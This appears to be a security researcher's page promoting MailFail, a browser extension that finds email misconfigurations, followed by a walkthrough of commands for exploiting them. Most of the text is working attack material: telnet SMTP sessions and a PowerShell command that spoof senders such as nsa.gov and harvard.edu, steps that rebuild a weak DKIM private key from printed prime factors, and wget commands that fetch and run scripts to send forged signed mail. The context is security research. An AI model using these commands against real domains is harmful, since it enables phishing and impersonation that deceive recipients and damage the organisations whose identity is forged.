MailFail is a Firefox browser extension that identifies and provides commands to exploit a large number of email-related misconfigurations for the current domain and subdomain. The extension's UI popup highlights any misconfigurations in red and links to the supporting documentation.
My list of DKIM selectors can be found on GitHub.
You can download the MailFail extension from Mozilla Add-ons.
The MailFail GitHub repository is located at github.com/ACK-J/MailFail.
Learn how to reconstruct private keys from two prime numbers on my Github Gist.
Check out the script for sending DKIM signed emails with a private key on my Github Gist.
Bonus: Use this Python script to check a list of domains for DMARC misconfigurations.
dig MX {{TODO}} +short
telnet {{ TODO }} 25
HELO nsa.gov
MAIL FROM:
RCPT TO: {{ TODO }}
DATA
Content-Type: multipart/mixed; boundary="NextMimePart"
From: security@nsa.gov
To: {{ TODO }}
Subject: Snowden
--NextMimePart
Content-type: text/html;
We forgive you :(
.
dig MX ilebi.com +short
Send-MailMessage -SmtpServer 96-126-99-62.ip.linodeusercontent.com -To ytt50349@ilebi.com -From jack@harvard.edu -Subject "Congrats!" -Body "You've been accepted!" -BodyAsHTML
dig TXT spf.m.ail.fail +short
curl ifconfig.me
telnet mailsec.protonmail.ch 25
HELO spf.m.ail.fail
MAIL FROM:
RCPT TO:
DATA
Content-Type: multipart/mixed; boundary="NextMimePart"
From: jack@billyjoel.com
To: mymailfail42@proton.me
Subject: Piano Man
Message-ID:
--NextMimePart
Content-Type: text/html;
Sing us a song.
.
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:1024 -out dkim_1024_private.pem
openssl rsa -pubout -in dkim_1024_private.pem -out dkim_1024_public.pem
cat dkim_1024_public.pem
dig TXT dkim1024._domainkey.m.ail.fail +short
# https://gist.github.com/ACK-J/76585af46375641ec841cb6b77d345c3
wget https://gist.githubusercontent.com/ACK-J/76585af46375641ec841cb6b77d345c3/raw/e52f1a8ae9f83dd080d7a75e27d505dff5350d9b/Send_DKIM_Email.py
vim Send_DKIM_Email.py
python3 Send_DKIM_Email.py
dig TXT smtpapi._domainkey.m.ail.fail +short
# https://gist.github.com/ACK-J/487d0de5737458d953ca818a0645b09b
wget https://gist.githubusercontent.com/ACK-J/487d0de5737458d953ca818a0645b09b/raw/817e9d3c0faeb81844a4a81be6818d582ff493ea/Reconstruct_Private_RSA_Key.py
# Private Key Values of p and q
# 114243475724741248833595122844512882880944338610909134738011440161029226847479
# 98382782872834099683871479139393781262822034994021043042450594450215266838447
vim Reconstruct_Private_RSA_Key.py
python3 Reconstruct_Private_RSA_Key.py
cat > cracked_private_key.pem
# https://gist.github.com/ACK-J/76585af46375641ec841cb6b77d345c3
vim Send_DKIM_Email.py
python3 Send_DKIM_Email.py
https://gist.github.com/ACK-J/c09e331e3b58ae924c7870fbeb933dd6